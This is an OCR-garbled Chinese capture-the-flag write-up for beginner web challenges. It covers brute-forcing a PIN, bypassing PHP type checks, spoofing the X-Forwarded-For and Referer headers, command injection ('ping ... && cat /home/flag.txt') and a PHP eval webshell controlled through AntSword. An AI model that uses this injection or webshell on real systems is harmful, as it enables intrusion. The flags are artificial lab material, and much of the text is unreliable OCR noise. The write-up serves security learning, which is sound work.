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<IDOCTYPE html>
<html lang="en">» |event
head> (- </head

script> (= </script
<h1»FLAG is not here</hl>
<!--cyberpeace{31129d45cc64bb241f5a7d8ale38b1f7}-->
</body>
</html>
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User-agent: *

Disallow:

Dicallow: flag 1s h3re.php-
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SEE(F) RE(E) AERO) EB(V) #EEIH)
|<html>
<head>
<meta charset="UTF-8">
<title> O3S < ftitle>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;

width:20em;
1
</style>
</head>
<body>
<h3>{RAEindex. phpRlI&HIH=EE? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCO8BDE334}"
7>
</body>
</html>
HI1T, 817 100% Windows (CRLF)  UTT-8
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Burp Project Intruder Repeater Window Help
[ Dashboard TTarget I Proxy T Intruder I Repeater T Sequencer T Decoder I Comparer I Extender T Project options I User options
j Intercept I HTTP history ]'WebScrckets history T Options }
/ Request to http://220.249.52.133:31363
l Forward J l Drop J ( Intercept is on ] Action Comment { w ®
Raw | Params | Headers | Hex
GET/HTTR/11 :
Host: 220.249.52.133:31363
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n80.0) Gecko/20100101 Firefox/80.0
Accept: text/html application/xhtml+xml,applicationfxml; g=0.9 image/webp */* q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Goukie: look-here=cookieplp-
Upgrade-Insecure-Requests: 1\_
Cache-Cantral: max-age=0
=
v
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See the http response
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Burp Project Intruder Repeater Window Help
[ Dashboard TTarget ]' Proxy I Intruder IRepeater T Sequencer T Decoder I Comparer ]' Extender T Project options I User options
2= |3
Go Cancel < |v > Target: http://220.249.52.133:31363 / @
Request Response /
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML }' Render ]
GET Jeookie.php HTTP/1.1 : HTTPA.1 200 OK .A
Host: 220.249.52.133:31363 Date: Wed, 09 Sep 2020 12:08:48 GMT
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Server: Apache/2.4.7 (Ubuntu)
Acecept: text/html application/shtml+xmlapplicationfxml;g=0.9 image/webp ™ q=0.8 K¥-Powered-By: PHP/5.5 9-1ubuntud 26
Accept-Language: zh-CM, zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 :ﬂ_a];:cjbEpﬁeﬁ3c?aa33fdﬁ5?§t12fc6394_9fd2_7ic@jzi—:
Accept-Encoding: gzip, deflate Wary: Accept-Encoding -
Connection: close Content-Length: 411
Cookie: look-here=cookie.php Connection: close
Upgrade-Insecure-Requests: 1 Content-Type: text/html
Cache-Contral: max-age=0
<html>
<head>
<meta charset="UTF-8">
<title>Cookie</ftitle>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap. min.css” rel="styleshest" />
<style>
hody{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
<fstylex
</head>
<hody>
<h3=See the http response</h3>
</hody>
</html>
b =
v A
@ uJ u u Type a search term 0 matches @ w u l;J Type a search term 0 matches
Done 675 bytes | B2 miliis

XE4AR LR T iwmAR, RES T KK —MARENEE, DTRaRIEMEAEA T X, BREAL 6

& c @ © A 220249.52.133:37448 BE e 17 Y iInD & e
B vanEmss @ FELE [ wARL @ w5 [ B i s
B Ny 2 =} iy § e
M BEIRAYREH
flag
N O=sx Orws ODeds Nms (Oasmes Owuwe Ors B fr o=sis 88 wAes  # Max HackBar g -
Qg HTML + A Vs thovels + @ Bl #F #EE FX FH #FE
<html> o O P A~ o o
v <head }
meta UTF-8 *, bootstrap.min.css:7 BEERE (Flex) BAFIIME LIS,
title title v
link http://libs.baidu.com/bootstrap/3.8.3/css/bootstrap.min.css stylesheet . v Fts
v <style box-sizing: border-box; I TR A CSS s
style 4% body v 2B
head body £+ { bootstrap.min.css:7
vebody> font-family: "Helvetica .
<h3>—MAFHRANRHL/h3> Neue",Helvetica,Arial,sans-serif; margin 0
font-size: 14px; border J
<input class="btn btn-default” disabled="" style="height:5@px;width:20@px;" type="submit" value="flag" name="auth"> line-height: 1.428571429; padding @ -

</form>

color: @ #333;
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<fbody> N R —— ;
</html> HFB html

html €3 { bootstrap.min.css:7 E
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: tstrap.min.css:7 2ROxE0 static
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cyberpeace{c07255eb7f4dbf0bb8aac7f24dd16374}
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Q 3 HTML + A Vi thov s + @
<html> b BT ~
¥ <head> (= </head> —

v <body> i
<h3>—ATRHRENRE< /3> RE O s
» <form acti "" method="post"> height: Sepx;
tn btn-default” disabled style="height:58px;width:288px;" type="submit" value="flag" name="auth"> width: 208px;
</form> }
<h3>cyberpeace{c87255eb7t4dbfebb8aac7f24dd16374}</h3> .btn-default.disabled, .btn- bootstrap.min.css:7
</body> default[disabled],
fiel [disabled] .btn-default, .btn-
</html> B L . ]
d
d
d
d
d
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.btn-defau

.btn-default
background-color: #f;
border-color: k@ #ccc:
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Burp Project Intruder Repeater Window Help

[ Dashboard ITarget I Proxy Tlntmder I Repeater T Sequencer I Decoder T Comparer I Extender I Project options I User options

2 .| =

[ Target I Positions TPay\loads T Options }

@ Payload Sets # Intruder attack 1
You can define one or more payload sets. The number of payload sets depends on Attack Save Columns
and each payload type can be customized in different ways. j Results TTarget I Positions T Payloads I Options }
Payload set: |1 v Payload count: 900,000 ‘ Filter: Showing all items G
Payload type: | Numbers T Request count: 2,700,000 Request A‘ Paosition | Payload ‘ Status | Error |T|meout‘ Length | Comment
0 200 @] [ 434
. 1 1 100000 200 ] O 434
@ Payload Options [Numbers] 2 1 100004 200 0 L] a3
This payload type generates numeric payloads within a given range and in a specifi{| 3 1 100002 200 @] [ 434
4 1 100003 200 =] O 434
Numher ranae - 4 amnnas ann — — ima
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Type: (® Sequential (_) Random 6 1 100005 200 O O 434
7 1 100006 200 0 O 43

From: 100000 8 1 100007 200 =] 4

To- 999999 9 1 100008 200 [} ] 434

Step: 1

How many:

Number format

Base: @®) Decimal () Hex

Min integer digits:
Mazx integer digits:
Min fraction digits:

Max fraction digits:

Examples
11
987654321 1234568
R — B HEL A NG K A, B AT E B EERE, B, BREERABE THELA: 1234565 A\ %1515 2iflag:
cyberpeace{d6ab65ee0e0fef34f36602cf542bb20e}
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PING
HFART fpingH4, GE.
c @ © & https://baike.baidu.com/item/ping/6235?fr=aladdin B e ¥ L
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(1)
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Baid® & ping A%

* uz | o 2179 | 2 470 [ CrARINDONS\rymtunsite
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PING (Packet Intemet Groper> , [, MATHRRMaER BT [ . Ping/ T{E{E TCPIPRIA R4
FRAER MRS 4, FERFRSER H A EHLAE ICMP (nternet Control Message Protocol [R$§Fk sca il
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BR 5 sgpm 3 pingah ik 4 REREE R TR
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ping T F st At EHURTSHE 55 ERURIAcHe s SERO B, FHRIBEMME B, ST LN TOPIPA YU -
WEEM, LSRN, M RADIET. Pingi el LB Tt 0 VEF ;

(i HICMP(Internet il i & Prist) B 5 F R SR A B0 1 SOHLIFA0T el 5 A Bt R BE 5 — Al RIZ B L % ‘ -M

RIUAT AR RT3 A4 S A A %45 127.0.0.115 5]

<« (IR © & 220.249.52.133:50424 B e Ty LN D & B 6@ =
By amesws @ #iEts B wmAmt © s [ g baHs
127.0.0.1

PING

ping -c 3 127.0.0.1

PING 127.0.0.1 (127.€.0.1) 56(84) bytes of data.

64 bytes from 127.0.@.1: icmp_seq=1 ttl=64 time=@.@57 ms

64 bytes from 127.0.@.1: icmp_seq=2 ttl=64 time=0.035 ms

64 bytes from 127.0.@.1: icmp_seq=3 ttl=64 time=0.040 ms

-- 127.0.@.1 ping statistics ---

3 packets transmitted, 3 received, @% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.035/0.044/8.057/0.009 ms

BERINBN G4 && find / -name "*.tt"& & /N T 5 Kiping B 88 X415 3

ping -c¢ 3 127.0.0.1 &% find / -name "*.txt"

PING 127.0.0.1 (127.8.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.837 ms
64 bytes from 127.8.0.1: icmp_seq=2 ttl=64 time=0.835 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.834 ms

--- 127.8.6.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.834/0.035/0.8637/0.0805 ms
Jhome/flag. txt > <umm—
Jusr/1ibjpython3.4/idlelib/HISTORY . txt
fusr/lib/python3._4/idlelib/extend.txt
Jusr/lib/python3._4/idlelib/TODO. txt
fusr/lib/python3.4/idlelib/README.txt
Jusr/lib/python3_4/idlelib/help.txt
Jusr/lib/python3._4/idlelib/NEWS . txt
fusr/lib/python3.4/idlelib/CREDITS. txt
Jusr/1lib/python3 _ 4/LICENSE. txt
fusr/lib/python3.4/1ib2to3/PatternGrammar.txt
Jusr/lib/python3.4/1ib2to3/Grammar.txt
fusr/share/perl/5.18.2/Unicode/Collate/keys.txt
fusr/sharefperl/5.18.2/Unicode/Collate/allkeys.txt
fusr/share/perl/5.18.2/unicore/NamedSequences.txt
fusr/share/perl/5.18.2/unicore/SpecialCasing.txt
fusr/sharefperl/5.18.2/unicore/Blocks.txt
fusr/share/doc/libdb5.3/build signature amdg4d.txt
fusr/share/doc/gnupg/Upgrading_From_PGP. txt
fusr/share/doc/openssl/HOWTO/keys . txt
Jusr/share/doc/openssl/fingerprints.txt
Jusr/share/vim/vim74/doc/help.txt

HEIflag3e, HFAM4 && cat /homelflag.txtix B iy 4 1 & B & ¥ flag SUH4-FT ENTE JF 5 1158 Blflag:

L fAAFT 1 _AAArF_ A _ IFA_ A _ANA_=IF_ A _ 42
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ping -c 3 127.8.8.1 && cat /home/flag.txt

PING 127.0.0.1 (127.8.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.830 ms
64 bytes from 127.8.0.1: icmp seq=2 ttl=64 time=0.831 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.847 ms

--- 127.8.6.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.830/0.036/0.847/0.007 ms

cEzEEE?eace{2157dc9415edad563c93234e?556§§3§1§

9.simple_php
AR DTUriiphpR&EFKES, TRIBFEEIZEE T JU4Tphpfiil.
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& B R S RE X EEERPHPA R, $1T5%
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<?php m
show_source(_ FILE_ );

include (“config. php”) ;

8a=0$_GET["a"];

$b=0$_CGET['b’ ];
if($a==0 and $a){

echo $flagl:
}

if (is_numeric ($b)) {
exit();

}
if($>1234) {

echo $flag2:
}

>

RIFEPHPAREG, BE— TR

=@ _GET[‘a’;//H /7a=0R 3

% GET[D]

if($a == 0 and $a){ //BFIN K ==85 L (R ELBBUEADALLECERAY) , FrARAIAERIEA

& G ® O 4 220.249.52.133:50876

B xameEsss @ FiFtiE [ =xmEmilt © =FmE

<?php
show_source(_FILE );
include (“config. php”) ;
$a=08_GET[ a’ ];
$h=@$_GET[ b’ ];
if($a==0 and $a){
echo $flagl;

}

if (is_numeric ($b)) {
exit();

}

if ($b>1234) {
echo $flag2;
}

—~
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' 1 | 3
}
if(is_numeric(b))ewit();Z'f(b>1 234 )
echo $flag2;
}
IFX A RSB RO AN BE T, BT T T A0 40 the A 55 LL BB AFRATT 2 b=2234b k4T, 7EHIBEAZ S && b=2234b75 Zlflag
<« c o © & 220.249.52.133:50876% 01 &8 b-22221> B

dlErea @ FELE [ ammn @ S

<{?php

show_source(_ FILE ):

include ("config. php”) ;

$a=@$_GET[ a’];

$b=@$_GET['b’ 1;

if($a==0 and $a){
echo $flagl;

}

if(is numeric ($b)) {
exit();

'
if ($h>1234) {

echo $flag2;
I

i

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C})
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R H k. X & R/ T H s xfflreferer AT A& ) .

BE 5

http://220.249.52.133:46832

RN TR R IPHAE X Z9123.123.123.123, RERBET, HEERodRILZE R LAKipH

D Ywuz | ohes | 216
X-Forwarded-For « = = [EL ‘

FRERHETERFERAFRSSEALERE #5iE.

iy B

X-Forwarded-For (XFF) &I Gl HTTPAR Bl f1 £k iy 2% He Bl Web [l 55 a5 1 7 i i S UG R IP L AL HT TP IS
$FEE. Squid EFFARH RS SN R A LB GIN T i —HTTPk B, HHIETFAEHTTP L ZEhrifE b i b iE A .

N5 BRGAFRIFER P RSP, Oy Tl EeA7 1077 2ORPE AR TR SMEE 52, i TH Ry IaL S mam ) Al F AR
FUIRSSFREN DM . AUl R, XS R S35 RIECEL, P EEAMIEE QI AR EM,

MRBAXFFEGE WA —FRI IR,  Frfidid RE RS Sk R S SR B IR SS B IPHb AL, R Ak i) [ aP
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# Burp Suite Professional v2.1 - Temporary Proj icensed to surferxyz
Burp Project Intruder Repeater Window Help
[ Dashboard TTarget I Proxy I Intruder IRepeate! T Sequencer T Decoder I Comparer I Extender T Project options I User options
B x| ..
Go Cancel | [ < |v || > v Target: hitp://220.249.52133:46832 7 (2)
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
—— HTTPA.1 200 OK A
Name Value
‘ ||‘ jadd Date: Wed, 09 Sep 2020 13:05:07 GMT 1
Host 220249 52.133:46832 —_— Server: Apache/2.4.7 (Ubuntu)
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64: x64; r-80.0)... R Remove X-Pawered-By, PHP/5.5.9-1ubuntud.26
Accept text/html.application/xhtml+xml application/xml:q=... U—p Wary: Accept-Encoding
Accept-Language zh-CM, zh;q=0.8,zh-TW,q=0.7,zh-HK g=0.5,en-US, ... Content-Length: 525
Accept-Encoding gzip, deflate Down Connection: close
Connection close Content-Type: text/html
Cookie look-here=cookie.php -
Upgrade-Insecure-Requests 1 Zhg:di
Cache-Control max-age=0 A <meta charset="UTF-8">
x-Forwarded-Faor 123123123123 |v <titlesindex</title>
N <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css” rel="styleshest" />
" <style>
hody{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
<[style>
</head>
<hody>
<p id="demo">ip il 51 4123.123.123.123</p>
<script>document.getElementByld("demo”).innerHTML="14 %3 &l https://www.google.com™;
<fscript=<fbody>
</html>
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[ Dashboard TTarget ]' Proxy I Intruder IRepeater T Sequencer T Decoder I Comparer ]' Extender T Project options I User options

— =I5

5 %lflag: cyberpeace{8c1549cc6df54dd04bf206908dd1d004}

6« | T = [8 = |
Go Cancel < |v > | Target: http://220.249.52.133:41668 / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML W’ Render ]
e HTTR/1.1 200 OK &
Name | Value | Add Date: Wed, 09 Sep 2020 13:19:45 GMT 1
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64: x64; rv:80.0)... |‘ - Server: Apache/2.4.7 (Ubuntu)
Accept text/html,application/xhtml+xml application/xml;g=... L emaie ¥-Powered-By: PHP/S 5 9-1ubuntud 26
Accept-Language zh-CM,zh;q=0.8,zh-TW;q=0.7 zh-HK:q=0.5,en-US; ... U—p Wary: Accept-Encoding
Accept-Encoding gzip, deflate ;J Content-Length: 631
Connection close Down Connection: close
Cookie look-here=caokie_php; PHPSESSID=242634426b... ;J Content-Type: text/html
Upgrade-Insecure-Requests 1
Cache-Control max-age=0 z:t;;ld))
XFowarded-For 123123123123 <meta charset="UTF-8">
Referer https://www.google.com— [v <title=index</title>
T T S A <link href="http://libs.baidu.com/bootstrap/3.0.3/css/hootstrap.min.css” rel="styleshest" />
" <style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
idth:20em;
}
<[style>
<fhead>
<hody>
<p id="demo">ipthle %5 9123.123.123.123<
<script>document.getElementByld{"demo"}).innerH x5k El hitps://'www.google.com™;
</script=<script>document.getElementByld("demo").innerH ~"cyberpeace{8c1549cchdfH4
dd04bf206908dd1d004}";</script=</body =
</html>
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11.webshell

BE#R: NTEETphp—a)E HERE E R I BT ERIEIndexphp & .

R H 5%

http://220.249.52.133:30830

58 R IE —HiE KD <?php @eval($_POST shell);?> H Hishelly % 5 Fi i E W17 FF

%) hES

AntSword EiE w0 B
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= MEEE (0) B 5HEHFE (2)
URLHHE gy O FEE -O0X | omm AEas
OFEm xBEET  iAEE [y ey
BEERE " oy

URLHtHE * http://220.249.52.133:30830/

ABEB | shel

iy =ped

RBIER UTF8 v
EgEkal PHP v
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(=) default (T3E5%)
) random (FHEFE)

() base64
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INEE, Wz EE R

% S
AntSword BE O #Ef
. = [7220.249.52.133 N
O BHRFIE (0) < [XxfyFE(2) A
= oFE - ALE CRE #IER  RBE - > BE
= [ 3
var & B o i
=
@ flag.txt 2020-09-09 13:44:59 44 b 0664
L Jihtmi |
@ index.php 2018-09-27 04:02:04 539 b 0664
=E 5% s

EBlflagytfd, FTIFEFIflag: cyberpeace{9e304507585d818bf3906a4f99c90c93}

12.simple_js
BE#R: MFRIT =M, EH—ERAXNENE. (Flagh A Cyberpeace{xoooooxx )
R H 5

http://220.249.52.133:45883
ISR ER—MRAE, BEMAEN, —EITUEFRIRN, RAIIGEH

&« C @ © & 220.249.52.133:45883

B amersits @ FirrE EAEmn @ surss

R D=z Oesla Orste NmsE (Iesmss Ous Orse B e 7 2SS 8 EEs & MaxHackBar

Q%5 HTML + 2 VitEE
<html> g
w <head

title title
w <script text/javascript

function dechiffre(pass_enc){
var pass = "7@,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";

var tab = pass_enc.split(',");
var tab2 = pass.split(’,");var i,j,k,1=8,m,n,0,p = "";i = 8;j = tab.length;
k j o+ (1) + (n=@);

n = tab2.length;
for(i = (0=8); i < (k=73
if(i == 5)break;}
for(i = (0=8); i < (k=73
o = tab[i-1];
if(i > 5 && i < k-1)
p += String.fromCharCode( (o = tab2[i]));

=n); i++ ){o = tab[i-1];p += String.fromCharCode({o = tab2[i])});

= n); i++ ){

p += String.fromCharCode(tab2[171};



pass = p;return pass;

= ISR TRV E AV E AV VAV E IAVE AVPIAVEAVELAVVIAVEFAVE AV PV EX AV EXap a1 av.viam = oo = AR TR E VRS E N
2314 %314 x36 ¥ 2\ 31\ 383 T\ 2\ 34\ 30 X2\ k354387 ) ) ;

h = window.prompt( 'Enter password’);
alert( dechiffre(h) );

</script>
</head>»
w <body>
</body>
</html>

KB R 16K H, RATIE R0 B %, X I Kpython

B js.py - E\js.py (3.8.3)
Eile Edit Format Run Options Window Help

S=”\X%5}X35\X20\X35\X36\X2C\X35\X34\X20\X3?\X39\X20\X3l\XS1\X35\X20\X36\X39\X20\
printi=s

Ln:i Col: 0
23]: 55,56,54,79,115,69,114,116,107,49,50, XFEHF AT AREE, FATEM L 163EH)5 1034 &5 BASCCIEE,
FHASCCIZE £k

}2&107383%1& -

Ei
File Edit Shell Debug Options Window Help k
c
T

Pythen 3. 8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:20:19) [MSC v. 192
tell] on win32
Type “help”, “copyright”, “credits” or "license()” for more informat

P> .
RESTART: E:j sTE RS, py =============== print (c)

ile Edit Format Run Options Window Help
= [55, 56, 54, 79, 115, 69, 114, 116, 107, 48, 50]

ot
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